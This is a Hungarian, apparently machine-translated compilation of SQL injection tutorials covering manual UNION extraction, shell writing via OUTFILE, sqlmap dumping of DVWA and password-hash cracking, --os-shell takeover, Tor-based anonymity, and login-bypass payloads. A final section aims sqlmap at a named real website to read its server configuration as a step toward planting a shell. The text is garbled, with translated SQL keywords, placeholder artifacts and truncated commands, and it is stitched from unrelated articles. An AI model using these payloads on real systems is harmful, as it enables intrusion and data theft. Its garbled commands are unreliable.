Kapcsolatok

Útmutató az sqlmap használatához. 1. rész: A munka alapjai (GET). Az SQLMap alapvető használata Más típusú SQL-injekciós támadások

Üdvözlet olvasó. Az utóbbi időben érdekelt a webbiztonság, és bizonyos mértékig a munkám is ehhez kapcsolódik. Mert Egyre gyakrabban kezdtem észrevenni olyan témákat a különböző fórumokon, amelyekben arra kértem őket, mutassák be, hogyan működik mindez, ezért úgy döntöttem, írok egy cikket. A cikk azoknak szól, akik még nem találkoztak ezzel, de szeretnének tanulni. Viszonylag sok cikk található ebben a témában az interneten, de a kezdők számára kissé bonyolultak. Megpróbálok mindent világos nyelven és részletes példákkal leírni.

Előszó

A cikk megértéséhez nem igazán van szükség az SQL nyelv ismeretére, de legalább jó türelemre és egy kis agyra a memorizáláshoz.

Szerintem nem lesz elég csak elolvasni a cikket, mert... szükségünk van élő példákra - mint tudod, a memorizálás folyamatában a gyakorlat soha nem felesleges. Ezért sebezhető szkripteket fogunk írni, és oktatni fogunk rájuk.

Mi az SQL injekció?
Egyszerűen fogalmazva, ez egy támadás az adatbázis ellen, amely lehetővé teszi olyan műveletek végrehajtását, amelyeket a szkript készítője nem tervezett. Példa az életből:

Apa azt írta az anyjának, hogy adjon Vasyának 100 rubelt, és tegye le az asztalra. Ezt komikus SQL nyelvre átdolgozva a következőket kapjuk:
VEGYEN KI 100 RUBLT A PÉNZTÁRCÁJÁBÓL, ÉS ADJA VASJÁNAK

Mivel az apa rosszul írta a cetlit (ügyetlen kézírás), és az asztalon hagyta, Vasya testvére, Petya látta. Petya hacker lévén hozzátette az „OR Pete”-et, és az eredmény a következő kérés lett:
VEGYEN EL 100 RUBLT A PÉNZTÁRCÁJÁBÓL, ÉS ADJA VASJÁNAK VAGY Petyának

Anya, miután elolvasta a jegyzetet, úgy döntött, hogy tegnap pénzt adott Vasyának, és 100 rubelt adott Petyának. Íme egy egyszerű példa az SQL injekcióra az életből:) Az adatok szűrése nélkül (Anya alig értette a kézírást) Petya profitot termelt.

Készítmény
A gyakorláshoz szüksége lesz egy archívumra a cikk forrásszkriptjeivel. Töltse le és csomagolja ki a szerveren. Ezenkívül importálja az adatbázist, és állítsa be az adatokat a fájlban cfg.php

SQL injekció keresése

Amint már megértette, az injekció bejövő adatokból származik, amelyek nem szűrtek. A leggyakoribb hiba az, hogy nem szűrjük a továbbított azonosítót. Nos, durván fogalmazva, tegyen idézőjeleket minden mezőbe. Legyen szó GET/POST kérésről vagy akár Cookie-ról!

Numerikus bemeneti paraméter
A gyakorlathoz szükségünk van egy forgatókönyvre index1.php. Ahogy fentebb mondtam, idézőjeleket szúrunk be a hírazonosítóba.

Mert A kérésünkben nincs szűrés:

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

A forgatókönyv ezt így fogja érteni

SELECT * FROM news WHERE id=1"

És hibát fog jelezni:
Figyelmeztetés: a mysql_fetch_array() azt várja, hogy az 1. paraméter erőforrás legyen, a logikai érték megadva a C:\WebServ\domains\sqlinj\index1.php 16. sorban.

Ha a hiba nem jelenik meg, annak a következő okai lehetnek:

1. SQL-befecskendezés nincs itt – az idézőjelek szűrve vannak, vagy csak érdemes konvertálni rá (int)
2. A hibakimenet le van tiltva.

Ha továbbra is hibaüzenetet kap - Hurrá! Megtaláltuk az első típusú SQL-injektálást - Numerikus bemeneti paraméter.

String bemeneti paraméter

A kéréseket a címre küldjük index2.php. Ebben a fájlban a kérés így néz ki:
$felhasználó = $_GET["felhasználó"]; $query = "SELECT * FROM news WHERE user="$user"";

Itt felhasználónév alapján választjuk ki a híreket, és ismét nem szűrünk.
Ismételten küldünk egy kérést árajánlattal:

Hibát adott. RENDBEN! Ez azt jelenti, hogy van egy sebezhetőség. Kezdetnek nekünk ennyi is elég – kezdjük a gyakorlást.

Cselekedjünk

Egy kis elmélet

Valószínűleg alig várja, hogy a hibákon kívül mást is kihozzon ebből. Először is értse meg, hogy a " -- " megjegyzésnek számít az SQL-ben.

FIGYELEM! Előtte és utána szóköznek kell lennie. Az URL-ben a következőként kerülnek továbbításra %20

Minden, ami a megjegyzés után következik, el lesz vetve. Vagyis a kérés:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

Sikerülni fog. Kipróbálhatja ezt az index2.php szkripten az alábbi kérés elküldésével:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Tanuld meg a paramétert UNIÓ. SQL nyelvben a kulcsszó UNIÓ két SQL-lekérdezés eredményeinek egyetlen táblába való egyesítésére szolgál. Vagyis ahhoz, hogy kihúzhassunk valamit, amire szükségünk van egy másik asztalról.

Használjuk ki

Ha a paraméter „Numerikus”, akkor nem kell árajánlatot küldenünk a kérésben, és természetesen megjegyzést kell tennünk a végére. Térjünk vissza a forgatókönyvhöz index1.php.

Térjünk rá az sqlinj/index1.php?id=1 UNION SELECT 1 szkriptre. Adatbázis-lekérdezésünk így néz ki:
SELECT * FROM news WHERE id=1 UNION SELECT 1
És hibát adott nekünk, mert... az összevont lekérdezésekhez ugyanannyi mezőre van szükségünk.

Mert Az első kérésnél nem tudjuk befolyásolni a számukat, akkor a másodiknál ​​úgy kell kiválasztanunk a számukat, hogy az egyenlő legyen az elsővel.

A mezők számának kiválasztása

A mezők kiválasztása nagyon egyszerű, csak küldje el a következő kéréseket:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Hiba…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Ismét hiba!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Nincs hiba! Ez azt jelenti, hogy az oszlopok száma 5.

CSOPORTOSÍT
Gyakran előfordul, hogy 20, 40 vagy akár 60 mező is lehet, hogy ne kelljen minden alkalommal válogatni, CSOPORTOSÍT

Ha a kérés
sqlinj/index1.php?id=1 GROUP BY 2
nem mutatott hibát, ami azt jelenti, hogy a mezők száma több mint 2. Próbáljuk meg:

Sqlinj/index1.php?id=1 GROUP BY 8
Op, hibát látunk, ez azt jelenti, hogy a mezők száma kevesebb, mint 8.

Ha a GROUP BY 4-nél nincs hiba, a GROUP BY 6-nál pedig hiba van, akkor a mezők száma 5

Kimeneti oszlopok meghatározása
Ahhoz, hogy az első kéréstől kezdve semmi ne jelenjen meg számunkra, elegendő egy nem létező azonosítót helyettesíteni, például:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5

Ezzel a művelettel meghatároztuk, hogy mely oszlopok jelenjenek meg az oldalon. Most, hogy ezeket a számokat a szükséges információkkal helyettesítse, folytatnia kell a kérést.

Adatkimenet

Tegyük fel, hogy tudjuk, hogy a táblázat még létezik felhasználókat amelyben a mezők léteznek id, névÉs pass.
Információt kell szereznünk az ID=1 felhasználóról

Ezért készítsük el a következő lekérdezést:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM felhasználóktól WHERE id=1
A szkript is tovább megy

Ehhez az 1-es és 3-as számok helyére a mezők nevét helyettesítjük

Sqlinj/index1.php?id=-1 UNION SELECT név,2,pass,4,5 FROM felhasználóktól WHERE id=1
Megkaptuk, amire szükségünk volt!

A "string bemeneti paraméter" esetében, mint a szkriptben index2.php az elejére idézőjelet, a végére pedig megjegyzést kell tenni. Példa:
sqlinj/index2.php?user=-1" UNION SELECT név,2,pass,4,5 FROM felhasználóktól WHERE id=1 --%20

Fájlok olvasása/írása

Fájlok olvasásához és írásához az adatbázis-felhasználónak FILE_PRIV jogosultsággal kell rendelkeznie.
Fájlok rögzítése
Valójában minden nagyon egyszerű. Fájl írásához a függvényt fogjuk használni OUTFILE.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 OUTFILE "1.php" --%20
Remek, a fájlt regisztráltuk nálunk. Így kitölthetjük a mini-héjat:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 OUTFILE "1.php" --%20
Fájlok olvasása
A fájlok olvasása még egyszerűbb, mint az írás. Elég csak a funkciót használni LOAD_FILE, az általunk kiválasztott mező helyére:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Így elolvastuk az előző írott fájlt.

A védekezés módszerei

Megvédeni magát még könnyebb, mint kihasználni egy sebezhetőséget. Csak szűrje le az adatokat. Ha számokat ad át, használja
$id = (int) $_GET["id"];
Ahogy a malroc felhasználó javasolta. Védje magát OEM vagy előkészített nyilatkozatok használatával.

A befejezés helyett

Itt szeretném befejezni az „SQL injekció kezdőknek” című első részét. A másodikban az injekciók súlyosabb példáit nézzük meg. Próbáljon meg sebezhető szkripteket írni, és saját maga hajtson végre lekérdezéseket.
És ne feledje, ne bízzon webhelye egyetlen felhasználójában sem.

Az SQL Injection egy olyan típusú támadás, amelyben a támadó módosítja egy webalkalmazás SQL lekérdezési logikáját, lehetővé téve számára az adatbázisban lévő értékek olvasását/módosítását/törlését, és néha tetszőleges kód futtatását a szerver oldalon. Ez a cikk az SQL injekciók végrehajtására szolgáló népszerű sqlmap segédprogramot tárgyalja.

Jelenleg ez a fajta sebezhetőség a lehető legveszélyesebb. 7 éve az „OWASP TOP-10” vezető vonalát az SQL injekciók vezetik.

Ennek a sebezhetőségnek 5 fő oka van:

  1. A bemeneti paraméterek, különösen a felhasználói bevitel nem megfelelő vagy nem érvényesül. „Bármilyen bemeneti paraméter rossz”
  2. Indokolatlan és gyengén védett hozzáférés az adatbázisokhoz. Ez a kategória olyan tényezőket foglal magában, mint például: sok rendszergazda és szuperfelhasználó (root), gyenge hitelesítési rendszer, nagyszámú jog a másodlagos rendszergazdák számára stb.
  3. Építészet. Elavult technológiák alkalmazása, ellenőrzési intézkedések hiánya, a „fenyegetés-modellezés” módszertanának elhanyagolása.
  4. Nyilvánvalóan sebezhető kód öröklődése, kész megoldások használata alacsony biztonsági szint mellett.
  5. A végrehajtható kódnak az adatoktól való megfelelő szintű absztrakciójának hiánya.

SQLMap.

Az SQL injekciók típusai.

Nézzük meg az SQLMap segédprogram által használt SQL-befecskendezések típusait:

  1. Logikai alapú vak SQL-injekció
    • Olyan módszer, amelyben a HTTP-kérelmeket és -válaszokat a rendszer karakterenként olvassa be a biztonsági rések észlelése érdekében.
    • Ha egy sebezhető paramétert észlel, az SQLMap lecseréli vagy hozzáadja a szintaktikailag helyes SQL-utasításokat, miközben arra vár, hogy a kiszolgáló válaszoljon a kód végrehajtásával.
    • Az SQLMap összehasonlítja az eredeti érvényes kérést a beágyazott rosszindulatú kódot tartalmazó kérelem válaszával.
    • Az SQLMap a felező algoritmust használja ( biszekciós algoritmus) a válasz minden karakterének lekéréséhez legfeljebb hét HTTP-kéréssel.
    • Ha a választ nem tiszta szövegben adják meg, az SQLMap nagyobb értékekkel adaptálja az algoritmust a válasz meghatározásához.
  2. Időalapú vak SQL-injekció
    • Maga a Time Based metódus azt feltételezi, hogy van némi összehasonlítás a kérés és a válaszidő alapján azáltal, hogy egy szintaktikailag helyes SQL utasítást fecskendez be a sebezhető paraméterbe.
    • Az SQLMap SQL utasításokat használ, amelyek tartásba helyezik az adatbázist, hogy meghatározott ideig visszatérjen.
    • Ugyanazt a felező algoritmust használva a karakterenkénti kimenethez, az SQLMap összehasonlítja a HTTP válaszidőt az eredeti kéréssel.
  3. Hibaalapú SQL-befecskendezés
    • Az SQLMap SQL utasításokat használ, amelyek specifikus hibákat okozhatnak.
    • A segédprogram hibákat keres a kiszolgáló HTTP-válaszában.
    • Ez a módszer csak akkor működik, ha a webalkalmazás hibaüzenetek közzétételére van beállítva.
  4. UNION Query
    • Input SQL utasítás UNION ALL SELECT .
    • Az UNION lekérdezéseken alapuló SQL-injektálás az alkalmazás viselkedése alapján működik, pl. amikor egy alkalmazás egy megírt SELECT lekérdezés eredményét egy adott cikluson vagy utasítássoron keresztül továbbítja, amely lehetővé teszi a kimenet írását az oldal tartalmába.
    • Abban az esetben, ha a kimenet nincs hurkon keresztül hurkolva számára vagy más utasítássorozatot, az SQLMap egyszeri UNION lekérdezés-injektálást használ.
  5. Halmozott lekérdezés
    • Hajtogatott lekérdezések használata. Az SQLMap pontosvesszőt (;) ad hozzá az érintett paraméter értékéhez, és hozzáadja az utasítást SQL, amit végre kell hajtani.
    • Ezzel a technikával a SELECT-től eltérő SQL utasításokat is végrehajthat. Ez hasznos az adatok manipulálásához, olvasási és írási hozzáféréshez, és végül az operációs rendszer általi rögzítéshez.
  6. Zenekaron kívüli
    • Ez a módszer egy másodlagos vagy más kommunikációs csatornát használ az érintett alkalmazáson futtatott lekérdezések eredményeinek kimenetére.
    • Például a beillesztés egy webalkalmazásban és egy másodlagos csatornában történik, mint pl DNS-lekérdezések, az adatok visszaküldésére szolgál a támadó tartományába.

Az SQLMap alapvető használata.

Indítsa el a segédprogramot (a változóban kell lenniePÁLYA ):

$sqlmap

Vagy a segédprogramok könyvtárából:

$ python sqlmap.py

A dokumentáció hívásához használja a gombot «- h / — Segítség »:

$ sqlmap --help $ python sqlmap.py –help

Az SQLMap kulcsok műveletei teljes mértékben attól függnek, hogy a támadó pontosan mit akar elérni. Az SQLMap műveletek alapvető listája így néz ki:

  • Sorolja fel az adatbázis-információkat, például a nevet, a verziót és egyéb részleteket.
  • Válasszon ki egy adott adatbázist az abban található táblák információinak felsorolásához.
  • Válassza ki a táblázatot, és sorolja fel az oszlop adatait.
  • Válasszon ki egy oszlopot, és listázza ki a sorokat az értékük lekéréséhez.
  • További kizsákmányolás.

Gyakorlat.

Gyakorlati oktatásunkhoz felhasználjuk Átkozott Sebezhető Web Alkalmazás (DVWA vagy "Rohadt sebezhető webalkalmazás").

DVWA egy ingyenes webalkalmazás, amely olyan technológiákra épül, mint a PHP és a MySQL, és a tesztelési készségek képzésére szolgál.

Most már csak az injekciók érdekelnek minket, de általánosságban elmondható, hogy tesztelheti képességeit más, a hivatalos alapján létrehozott sebezhetőségekben. OWASP TOP -10 .

Ui.: Ez a gyakorlat azt feltételezi, hogy rendelkezik a Linux alapjainak ismerete, az angol nyelv kezdeti szintje és a Google használatának képessége (ha nem rendelkezik a fenti készségekkel).

Telepítés:

  • Töltse le az alkalmazást, és kövesse az utasításokat;
  • Módosítsa a nehézségi szintet LOW-ra;
  • Minket csak az „SQL Injection” lapok érdekelnek;

Kiinduló adatok:

  • Webszerver magánhálózaton
  • Sebezhető URL: http:// a te házigazda . com /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
  • Sebezhető paraméter: id

Tehát kezdjük:

  1. Megerősítjük az elérhetőségetSQL injekciók:
./sqlmap.py --url=”http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie="security=low; PHPSESSID=e8495b45

A parancs magyarázata:

— url – URL a feltételezett sebezhető paraméterrel. Fontos megjegyezni, hogy ennek a kulcsnak a változója idézőjelbe van írva, mert Az ellenőrzött URL egynél több átadott paramétert tartalmaz. Ellenkező esetben figyelmen kívül hagyhatja az idézőjeleket, és a kulcs rövid változatát használhatja “- u egyenlőségjel nélkül .

- cookie – Munkamenet cookie a közvetlen hozzáféréshez támadás során (opcionális kulcs).

Következtetés:

Elemzés:

  • Az alkalmazás sebezhető az SQL injekcióval szemben
  • Befecskendezés típusa – UNION Query
  • Háttér adatbázis (DBMS) – MySQL5
  • Az operációs rendszer műszaki részletei - Linux Ubuntu 8.04, PHP 5.2.4, Apache 2.2.8
  1. Felsoroljuk az adatbázisok neveit:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab3b50"

A parancs magyarázata:

—dbs – kulcs az elérhető adatbázisok listázásához.

Következtetés:

Elemzés: Az SQLMap felsorolta az elérhető adatbázisokat (összesen 7).

  1. Felsoroljuk a táblák nevét (DB -dvwa ):
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e849-table

A parancs magyarázata:

-D – Adja meg a minket érdeklő adatbázist.

--tables – Sorolja fel az adatbázisban elérhető táblákat.

Következtetés:

Elemzés: Amint látjuk, az SQLMap sikeresen felsorolta 2 tábla nevét az adatbázisban dvwa .

  1. A táblázat oszlopneveinek további felsorolása "felhasználókat ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab18v5ee" -T48 felhasználók – oszlopok

A parancs magyarázata:

-T – Jelölje meg a minket érdeklő táblázatot.

—oszlopok – Sorolja fel a táblázat elérhető oszlopait.

Következtetés:

Elemzés: Amint látjuk, az SQLMap sikeresen felsorolta a táblázat 6 oszlopának nevét felhasználókat, bd dvwa .

  1. Az értékeket listázzuk/lehúzzuk a táblázatbólfelhasználókat ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab18v5ee" -T48 users -C user_id,user,password --dump

A parancs magyarázata:

C – Jelölje meg a minket érdeklő oszlopokat.

--dump – Értékek kiírása a felsorolt ​​oszlopokból.

Következtetés:

Elemzés: Az SQLMap válasza alapján a következő pontokat jegyezzük meg:

  • Az SQLMap lekéri a rekordokat a megadott oszlopokból, majd elemzi az ezekben az oszlopokban található adatokat.
  • Amint az adatokat lehetséges jelszókivonatként ismeri fel, az SQLMap különféle kivonatolási algoritmusok segítségével megpróbálja feltörni a hash-t.
  • Ebben az esetben a hash MD5, tehát az eszköz által használt legelső hash technikával sikeresen feltöri a hash-eket és jól formázott választ ad.
  • Ezenkívül az eszköz a felsorolt ​​bejegyzéseket „.csv” fájlformátumban menti későbbi felhasználás céljából; Így nem kell szöveges fájlba kiírnia az adatokat, vagy képernyőképet kell készítenie, az SQLMap gondoskodik erről.
  1. A szerver további kihasználása és átvétele (ÁSPISKÍGYÓ. , nem tartalmazzaDVWA ):
./sqlmap.py --url="http://192.168.152.129/login.asp" --data="txtLoginID=shrikant&txtPassword=password&cmdSubmit=Login" --os-shell

A parancs magyarázata:

—data – Adja meg a POST kérésben elküldött tesztelési paramétereket.

—os —shell – Speciális kulcs a szerverkonzol SQL-befecskendezéssel történő kihasználására.

Következtetés:

Elemzés: Az SQLMap válasza alapján a következő pontokat jegyezzük meg:

  • Az SQL injekció megerősítése és kihasználása után az SQLMap ellenőrzi, hogy a felhasználó DBA (adatbázis-adminisztrátor)-e.
  • Az eszköz ezután megpróbált egy kiterjesztett tárolt eljárást használni - az "xp_cmdshell" -et, amelyet az SQL Server 2000 általában használ.
  • Az "xp_cmdshell" az adott parancssor operációs rendszer parancsként történő végrehajtására szolgál. Az eredményt viszont szabványos szövegként adja ki.

A mélyebb szintű rendszer-hozzáférés előnyei:

  • Hozzáférés a felhasználói hitelesítő adatokhoz vagy jelszókivonatokhoz.
  • Egy interaktív shell, amely lehetővé teszi a fájlok feltöltését vagy letöltését a szerverről.
  • Futtasson tengelyparancsokat (OS) a belső hálózat felfedezéséhez.
  • Lehetőség rosszindulatú programok letöltésére.
  • További hasznosítás a Metasploit Framework segítségével.
  • Hátsó ajtók készítése, feltöltése.

A legjobb gyakorlatok és a fejlett használat.

  1. SQLMap ÉsSZAPPAN (Egyszerű Tárgy Hozzáférés Jegyzőkönyv ) kéri: A SOAP kérések elemzésének folyamata meglehetősen egyszerű:
    • Rögzítse a SOAP kérését.
    • Szövegfájlba mentése az esetleges sebezhető paraméterekkel együtt.
    • Ha ismeri a sebezhető paramétert, használja az alábbi parancsot az SQLMaphez a -p kapcsolóval együtt:
$ ./sqlmap.py -r So_request.txt -p
    • Az SQLMap automatikusan elemzi a SOAP kérést, és megpróbál behatolni a sebezhető paraméterbe.
  1. SQLMap ÉsJSON (JavaScript Tárgy Jelölés ) kéri: Az SQLMap SOAP-lekérdezésekhez való használatához hasonló forgatókönyvekben a JSON-lekérdezések is elemezhetők és kihasználhatók. JSON-lekérdezéstípus esetén az SQLMap felkéri Önt a biztonsági rés kihasználására úgy, hogy észleli a JSON-lekérdezés típusát a „lekérdezési fájlban”. Ha igennel válaszol, az eszköz elemzi a kérést, és kiválasztja a saját támadási vektorát.
  2. SQLMap és proxy szerver: A vállalati típusú hálózatok általában vezérelt proxykkal vannak védve és felügyelve minden bejövő és kimenő forgalomhoz. Ilyen esetekben lehetősége van proxybeállítást közvetlenül az SQLMap beállításhoz hozzáadni a cél URL-lel való kommunikációhoz. Bár az SQLMap egy parancssori eszköz, HTTP protokollon keresztül kommunikál, ezért ha HTTP-proxyt állít be a megfelelő internetkapcsolathoz, az SQLMap ezt veszi alapul:
$ ./sqlmap.py --proxy=http:// :
  1. SQLMap ÉsWAF (Web Alkalmazás Tűzfal ): A WAF egy további védelmi réteg a webes alkalmazások számára, jelentősen bonyolítva az SQLMap szabványos módszereivel végzett elemzést és működést. Erre a célra van egy „szabotázs-script” funkció, amely nagymértékben leegyszerűsíti a WAF mögött található webalkalmazásokkal való munkát.
  2. SQLMap és anonimitás: Ha el akarja rejteni személyazonosságát, és névtelennek kívánja mutatni magát a célalkalmazás számára, használhatja a TOR (The Onion Router) proxyszervert. Az SQLMap programban a TOR proxyt úgy konfigurálhatja, hogy a következő kulcsokkal elrejtse azt a forrást, amelyből a forgalom vagy a kérés generálódik:
    • tor a segédprogram átkapcsolása TOR proxy módba.
    • tor típus a TOR proxy protokoll kézi konfigurálása (HTTP /SOCKS 4/4a /5).
    • jelölje be tor a TOR proxy működőképességének ellenőrzése

Az SQL-befecskendezés olyan támadás, amely a dinamikus SQL-utasításokat használja ki az utasítások bizonyos részeinek megjegyzésével vagy egy olyan feltétel hozzáadásával, amely mindig igaz. A webalkalmazás-architektúrában lévő lyukakat célozza meg, és SQL-utasításokat használ a rosszindulatú SQL-kódok végrehajtására:

Ebben a cikkben megvizsgáljuk az SQL-befecskendezések során használt technikákat, és megvizsgáljuk, hogyan védhetjük meg a webalkalmazásokat az ilyen támadásoktól.

Hogyan működik az SQL injekció

Az SQL-befecskendezéssel végrehajtható támadások típusai az érintett adatbázis-motorok típusától függően változnak. A támadás dinamikus SQL utasításokat céloz meg. A dinamikus utasítás olyan utasítás, amely futás közben jön létre egy webes űrlap vagy URI lekérdezési karakterlánc paraméterei alapján.

Vegyünk egy egyszerű webalkalmazást bejelentkezési űrlappal. A HTML űrlap kódja alább található:

  • Az űrlap elfogad egy e-mail címet, majd a jelszót elküldi az index.php nevű PHP fájlba;
  • A munkamenet egy cookie-ban tárolódik. Ez a funkció a Remember_me jelző bejelölésével engedélyezhető. A postázási módszert használják az adatok küldésére. Ez azt jelenti, hogy az értékek nem jelennek meg az URL-ben.

Tegyük fel, hogy a felhasználói azonosító ellenőrzésére vonatkozó kérés a szerver oldalon így néz ki:

  • A kérés közvetlenül használja a $_POST tömbértékeket, anélkül, hogy megtisztítaná;
  • A jelszót az MD5 algoritmus titkosítja.

Megvizsgálunk egy támadást az SQL injekció sqlfiddle használatával. Nyissa meg a http://sqlfiddle.com/ URL-t a böngészőjében. A következő ablak jelenik meg a képernyőn.

Megjegyzés: SQL utasításokat kell írnia:

1. lépés: Írja be ezt a kódot a bal oldali panelen:

`felhasználók` TÁBLÁZAT LÉTREHOZÁSA (`azonosító` INT NOT NULL AUTO_INCREMENT, `e-mail` VARCHAR(45) NULL, `jelszó` VARCHAR(45) NULL, ELSŐDLEGES KULCS (`id`)); beilleszteni a felhasználókba (e-mail, jelszó) értékeket (" [e-mail védett]",md5("abc"));

2. lépés: Kattintson a gombra Építési séma».
3. lépés: Írja be az alábbi kódot a jobb oldali ablaktáblába:

válassza ki a * felhasználók közül;

4. lépés: Kattintson a " Futtassa az SQL-t" A következő eredményt fogja látni:

Tegyük fel, hogy a felhasználó megad egy e-mail címet [e-mail védett]és az 1234 jelszót. Az adatbázisban végrehajtandó lekérdezés a következőképpen nézhet ki:

A fenti példakénti SQL-befecskendezési kód megkerülhető a jelszó egy részének megjegyzésével és egy olyan feltétel hozzáadásával, amely mindig igaz. Tegyük fel, hogy a támadó a következő adatokat szúrja be az e-mail cím mezőbe:

[e-mail védett]" VAGY 1 = 1 KORLÁTOZÁS 1 -- " ]

és xxx a jelszó mezőben.

A generált dinamikus utasítás így fog kinézni:

  • [e-mail védett] egyetlen idézőjelre végződik, amely befejezi a karakterláncot;
  • VAGY 1 = 1 A LIMIT 1 egy olyan feltétel, amely mindig igaz, és a visszaadott eredményeket csak egy rekordra korlátozza.

0; Az AND ... egy SQL megjegyzés, amely kizárja a jelszó részt.

Másolja ki a fenti lekérdezést, és illessze be a FiddleRun SQL szövegmezőbe az alábbiak szerint:

Hacker tevékenység: SQL-befecskendezések webes alkalmazásokba

A http://www.techpanda.org/ címen elérhető egy egyszerű webalkalmazásunk, amelyet kifejezetten sebezhetővé tettek az SQL injekciós támadásokkal szemben kezdőknek bemutató célból. A fent megadott HTML űrlapkód az alkalmazás engedélyezési oldaláról származik.

Alapvető biztonságot nyújt, például az e-mail mezők fertőtlenítését. Ez azt jelenti, hogy a fenti kód nem használható ennek a mechanizmusnak a megkerülésére.

Ennek kikerüléséhez használhatja a jelszó mezőt. Az alábbi diagram bemutatja a követendő lépéseket:

Tegyük fel, hogy a támadó a következő adatokat adja meg:

1. lépés: Lépjen be [e-mail védett] e-mail címként;
2. lépés: Írja be a következőt: xxx’) VAGY 1 = 1 - ] ;

Kattintson a „Küldés” gombra.

Elküldik az adminisztrációs panelnek. A generált lekérdezés így fog kinézni:

Az alábbi diagram bemutatja, hogyan jött létre a kérés:

Itt:

  • A kérés feltételezi, hogy md5 titkosítást használnak;
  • Záró idézőjel és zárójel használatos;
  • Az operátorhoz egy feltétel kerül, amely mindig igaz.

A támadók általában több különböző módszert próbálnak meg alkalmazni az SQL injekciós támadás során céljaik elérése érdekében.

Más típusú SQL injekciós támadások

Az SQL-befecskendezés sokkal több kárt okozhat, mint a rendszerbe való bejelentkezés az engedélyezési mechanizmus megkerülésével. Néhány ilyen támadás:

  • Adattörlés végrehajtása;
  • Adatfrissítés végrehajtása;
  • Adatok hozzáadása;
  • Parancsok végrehajtása a kiszolgálón, amely letölti és telepíti a rosszindulatú programokat;
  • Exportáljon értékes adatokat, például hitelkártyaadatokat, e-maileket és jelszavakat a támadó távoli szerverére.

A fenti lista nem teljes. Egyszerűen csak képet ad az SQL-injekciók által jelentett veszélyekről.

Eszközök az SQL injekciók automatizálásához

A fenti példában manuális támadási módszereket alkalmaztunk. Az SQL injekció végrehajtása előtt meg kell értenie, hogy vannak olyan automatizált eszközök, amelyek lehetővé teszik a támadások hatékonyabb és gyorsabb végrehajtását:

  • SQLSmack ;
  • SQLPing 2 ;
  • SQLMap.

Hogyan lehet megakadályozni az SQL injekciókat

Íme néhány egyszerű szabály az SQL injekciós támadások elleni védelemhez:

A felhasználói bevitelben nem szabad megbízni. Mindig meg kell tisztítani, mielőtt az adatokat dinamikus SQL-műveletekben felhasználnák.

Tárolt eljárások- Képesek SQL lekérdezéseket beágyazni, és minden bemeneti adatot paraméterként feldolgozni.

Előkészített lekérdezések- Először a lekérdezések jönnek létre, majd az összes megadott felhasználói adatot paraméterként dolgozzák fel. Ez nincs hatással az SQL utasítás szintaxisára.

Reguláris kifejezések- használható a potenciálisan rosszindulatú kód észlelésére és eltávolítására az SQL utasítások végrehajtása előtt.

Hozzáférési jogok az adatbázishoz való csatlakozáshoz- nak nek véd az SQL injekciók ellen, az adatbázishoz való csatlakozáshoz használt fiókoknak csak a szükséges hozzáférési jogokat kell biztosítaniuk. Ez segít korlátozni az SQL utasítások által a kiszolgálón végrehajtható műveleteket.

Hibaüzenetek- nem közölhet bizalmas információkat. Egyszerű egyéni hibaüzenetek, mint pl. Elnézést, technikai hiba történt. A támogató csapatot már értesítették erről. Kérlek, próbáld újra később" használható a hibát okozó SQL-lekérdezések megjelenítése helyett.

Spoiler: .ZEN

Van egy SQL-injekció az oldalon, amely így néz ki:

Az első dolog, amit meg akarunk tenni, az az, hogy ellenőrizzük, hogy van-e jogosultságunk fájlokat írni a támadott erőforrásra; ehhez töltse be a terminált, és adja ki a következő parancsot:

Http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba

Megnyomjuk az Enter billentyűt, és megkezdődik az SQL Injection elemzése, a jelentés így néz ki:

Ahogy a jelentésben is látható, az Apache verziója, a MySQL verziója és a szerverre telepített operációs rendszer verziója meg van írva, mindez hasznos lesz számunkra a jövőben, de ami a legfontosabb, láthatja, hogy jogunk van fájlok írására, ez a Current User is DBA: True sorban jelenik meg

A következő lépés számunkra a shell rögzítéséhez szükséges útvonalak beszerzése. Webhelyünk elérési útját a szerveren a httpd.conf fájl letöltésével érhetjük el. A httpd.conf fájl helyéről a Google segítségével kapunk információkat; kereshet a telepített operációs rendszer verziója vagy a legvalószínűbb elérési utak listája alapján. Általánosságban elmondható, hogy nem megyek mélyen a keresőmotorok böngészésében, csak ha megtudta a fájl elérési útjának legvalószínűbb helyét, akkor ideje letölteni ugyanazt a fájlt a lemezre, ehhez írja be a következőt parancs és kérés olvassa be a fájlt a szerveren:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf

Azonnal jegyezzük meg, hogy ezt a konfigurációs fájlt nem mindig lehet először megtalálni, ezért használhatja a legvalószínűbb elérési utat, ahol ez a fájl található:

A KONFIG FÁJL LEHETSÉGES ÚTJÁNAK LISTÁJA:

